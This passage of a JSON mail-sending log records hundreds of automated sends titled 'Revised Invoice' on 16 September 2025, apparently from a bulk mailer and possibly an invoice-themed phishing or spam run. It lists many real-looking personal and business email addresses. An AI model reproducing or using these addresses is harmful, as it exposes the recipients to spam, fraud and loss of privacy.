"to": "info@summitexpress.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:09:35", "to": "hozeo391@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:09:44", "to": "marketing@decouvertes.fr", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:09:58", "to": "pdman1949@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:10:07", "to": "kendallprine@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:10:16", "to": "kenneth.d.phillips81@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:10:25", "to": "rwe@captaincook.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:10:34", "to": "stephen.polka@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:10:43", "to": "dave.t.loe@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:10:52", "to": "philipaston01@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:11:53", "to": "julieannarmbruster@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:12:02", "to": "JLADC2000@GMAIL.COM", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:12:11", "to": "KATHLEEN.WOOD@GMAIL.COM", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:12:20", "to": "rhoulihan@sluh.org", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:12:29", "to": "Maggieco@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:12:38", "to": "jesstriplett@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:12:47", "to": "innkeeper@sunidoinn.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:12:56", "to": "carolinekbaker@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:13:05", "to": "jjcc4947@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:13:14", "to": "reservations.sunidoinn@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:13:23", "to": "kellyjanine65@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:13:32", "to": "maggieco@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:13:41", "to": "becky.gutrich@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:13:50", "to": "maezfamily@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:13:59", "to": "ksieb68@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:14:13", "to": "ablack1968@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:14:22", "to": "chucovich.arcs@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:14:31", "to": "hotelkensington@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:14:40", "to": "kathjeff5280@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:14:49", "to": "ptmrsn@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:14:58", "to": "mrkellogg@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:15:07", "to": "whitney@amazingparish.org", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:15:16", "to": "carezalot2@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:15:25", "to": "wells.sarah@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:15:34", "to": "shandybleu@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:15:43", "to": "hoteldumaineparis@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:15:52", "to": "contact.tghairsalon@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:16:01", "to": "kwood@diginyancey.org", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:16:10", "to": "lizardsyd@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:16:19", "to": "joan.matassa@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:16:28", "to": "philipaston01@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:17:21", "to": "bevlong2555@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:17:30", "to": "ann.mabry@premiergolf.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:17:39", "to": "johnmalleniv@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:17:48", "to": "ingram.terri@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:17:57", "to": "johnschabaker@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:18:06", "to": "tcblakely@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:18:15", "to": "claudialeyba007@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:18:24", "to": "bevlong2558@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:18:33", "to": "ebsoule@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:18:42", "to": "jananiye@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:18:51", "to": "info@tahititourisme.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:19:00", "to": "soph2993@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:19:09", "to": "bekah.broas@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:19:18", "to": "Hamptonwaltham@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:19:27", "to": "eliza@bhgolfresort.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:19:36", "to": "schmollross@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:19:45", "to": "john.crowers@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:19:54", "to": "Tsegereda08@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:20:03", "to": "marinalevine13@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:20:12", "to": "Lynnj@visitnapavalley.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:20:21", "to": "dshpall@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:20:30", "to": "Victoria.Powers@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:20:39", "to": "lizm181@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:20:48", "to": "johnburge@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:20:57", "to": "jladc2000@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:21:06", "to": "heathersavoca@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:21:15", "to": "juulysse@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:21:24", "to": "alice@bhgolfresort.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:21:33", "to": "dmart1971@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:21:42", "to": "johnschabacker@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:21:56", "to": "philipaston01@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:22:28", "to": "LULUKASSAYE@GMAIL.COM", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:22:37", "to": "iizm181@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:22:46", "to": "atheo125@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:22:55", "to": "lulukassaye@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:23:04", "to": "djmvickers@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:23:13", "to": "cleach@uvld.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:23:22", "to": "nicholsonlizzy@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:23:31", "to": "hamptonwaltham@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:23:40", "to": "claudialeyva007@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:23:49", "to": "info@coloradotransfer.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:23:58", "to": "Rchrdjoseph673@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:24:07", "to": "alixsan24@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:24:16", "to": "samogbonnajr@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:24:25", "to": "rigatteferi32@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:24:34", "to": "angieserena@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:24:43", "to": "sherrym@centresalons.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:24:52", "to": "bigelowkayla921@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:25:01", "to": "abbygreynolds@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:25:10", "to": "wonduemmanuel@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:25:19", "to": "xxdanieljonesxx@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:25:28", "to": "nfowlerhome@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:25:37", "to": "siddaer@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:25:46", "to": "Djerryduverge@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:25:55", "to": "tiffany.scalas@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:26:04", "to": "reanalee35@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:26:13", "to": "amy@theflowerhousedenver.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:26:22", "to": "taylor@topya.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:26:31", "to": "hworkie@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:26:40", "to": "rchrdjoseph673@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:26:49", "to": "phyllispastore@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:26:58", "to": "philipaston01@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:27:38", "to": "linettesanto1@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:27:47", "to": "coleturpin5@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:27:56", "to": "savannahjbigelow@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:28:05", "to": "kristen@roganadams.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:28:14", "to": "kristy@cubacubacafe.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:28:24", "to": "margaret_bigelow@alumni.brown.edu", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:28:33", "to": "tsegereda08@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:28:42", "to": "shanedwade@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:28:51", "to": "aprilmolina1964@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:29:00", "to": "marnitagehrmann@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:29:09", "to": "saraleeknutson@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:29:18", "to": "katy@visconsult.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:29:27", "to": "bushrasarker@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:29:36", "to": "kaplanhaley5@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:29:44", "to": "eskedar0210@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:29:54", "to": "rebeccadeluna1979.rdl@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:30:03", "to": "ccarrcolo@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:30:12", "to": "john.alyssa2020@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:30:26", "to": "ernstmh30@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:30:35", "to": "alyssa.delpizzo@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:30:44", "to": "mworkman@pelleygroup.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:30:53", "to": "ericbanks42@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:31:02", "to": "rickikaplan05@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:31:11", "to": "kristy.suda@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:31:20", "to": "linettesant01@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:31:29", "to": "kimellenpolk@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:31:38", "to": "lauralakinhm@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:31:47", "to": "matt.workman@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:31:56", "to": "cpelley@pelleygroup.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:32:05", "to": "toconnor7817@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:32:14", "to": "philipaston01@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:33:23", "to": "geralkempel@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:33:32", "to": "shaun.jensen.coleman@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:33:41", "to": "RLYDIA564@GMAIL.COM", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:33:55", "to": "jondloe@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:34:09", "to": "M.TORRESRECINOS@GMAIL.COM", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:34:18", "to": "rickiikaplan05@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:34:27", "to": "stephanieroque1963@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:34:36", "to": "andrea.shpall@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:34:45", "to": "deetidwell@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:34:54", "to": "ayers.don@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:35:45", "to": "philipaston01@gmail.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:40:33", "to": "lona@barrett.net.au", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:45:16", "to": "lona@barrett.net.au", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:48:33", "to": "smullane@paritysolutions.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:48:38", "to": "accountspayable@magnaiv.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:48:43", "to": "sarah@makeitworkcomputersolutions.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:48:49", "to": "gm@super8princegeorge.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:48:54", "to": "chrise@dcplumbingny.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:48:59", "to": "carla@highmarkoilfield.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:04", "to": "ruthann.webster@gov.bc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:10", "to": "marilyn.nelson@industrialmetalwork.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:14", "to": "andre@mackenziejuniora.com", "subject": "Revised Invoice", "status": "failed", "error": "Failed to send to andre@mackenziejuniora.com: SMTP Error: The following recipients failed: andre@mackenziejuniora.com: <andre@mackenziejuniora.com> recipient domain not found\r\n" }, { "timestamp": "2025-09-16 14:49:18", "to": "accounting@vmpms.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:24", "to": "edward@sterlingmgmt.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:29", "to": "kbuckner@plicards.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:34", "to": "admin@promoshoppe.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:39", "to": "alesha@promoshoppe.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:49", "to": "sdiamond@lodgelink.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:54", "to": "jolsen@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:49:59", "to": "tfinegan@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:07", "to": "shop@pronorthheating.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:12", "to": "ar@prmbc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:18", "to": "martin.sprenkels@prmbc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:23", "to": "tyler@sterlingmgmt.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:28", "to": "egourieux@str.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:33", "to": "heather.gorell@gov.bc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:39", "to": "kate@refineryleadership.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:44", "to": "frank.thibeault@jci.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:49", "to": "mchan@sentisresearch.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:54", "to": "tdell@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:50:59", "to": "admin@tritechsafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:05", "to": "oshane.richards@staples.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:10", "to": "timothy.adam.reid@jci.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:15", "to": "susan@buygenesis.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:20", "to": "gerri@jocksrestoration.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:25", "to": "ar@northernbottling.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:31", "to": "ldevos@pce.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:36", "to": "janice.turner@homehardware.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:43", "to": "accountspayable@tomco.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:48", "to": "ar@tritechsafety.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:53", "to": "theresa@promoshoppe.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:51:58", "to": "m.hendrickson@hendricksonltd.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:03", "to": "ar.edmonton1@canadianlinen.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:08", "to": "jnbarber@paritysolutions.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:14", "to": "jock@jocksrestoration.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:19", "to": "alexah@promoshoppe.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:24", "to": "acctrec50@canadianlinen.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:29", "to": "dkrakowka@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:34", "to": "cbardgett@peaceinsurance.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:40", "to": "tiana@promoshoppe.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:45", "to": "agm@hiesdawsoncreek.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:50", "to": "jason@groundzerograding.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:52:55", "to": "lgendron@guillevin.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:53:05", "to": "lona@barrett.net.au", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:53:54", "to": "accommodation@gov.bc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:53:59", "to": "margaret@brogansafety.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:05", "to": "morgan.k@jocksrestoration.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:10", "to": "carol@em3inc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:15", "to": "ctaylor@orkincanada.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:20", "to": "kiera@bcha.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:25", "to": "hmartin@plicards.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:31", "to": "dorothy@gabuses.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:36", "to": "accountspayable@em3inc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:41", "to": "customer.servicedepartment@staples.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:47", "to": "jkirby@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:52", "to": "klayton@orkincanada.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:54:57", "to": "e.baker@vmpms.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:02", "to": "accounts@rapidrefrigeration.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:07", "to": "prince_george@orkincanada.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:13", "to": "vadim@haddon.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:18", "to": "amin.benzaza@dormakaba.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:23", "to": "yemille.hastings-ext@jci.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:28", "to": "shaun.thibodeau@canadianlinen.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:33", "to": "fogunfolu@paritysolutions.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:39", "to": "lodgingsupport@dormakaba.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:44", "to": "mcathus.pierre@dormakaba.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:49", "to": "jpowell@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:54", "to": "rgale@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:55:59", "to": "jordan.sinclair@jci.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:04", "to": "scutler@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:10", "to": "dean.turner@homehardware.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:15", "to": "lroberts@dtr.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:20", "to": "russell.s.quinquito@jci.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:25", "to": "jon.bennett@worksafebc.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:30", "to": "fmoyo@magnaiv.com", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:35", "to": "essfinanceinquiries@gov.bc.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:41", "to": "charlesreid@haddon.ca", "subject": "Revised Invoice", "status": "success", "error": "" }, { "timestamp": "2025-09-16 14:56:46", "to": 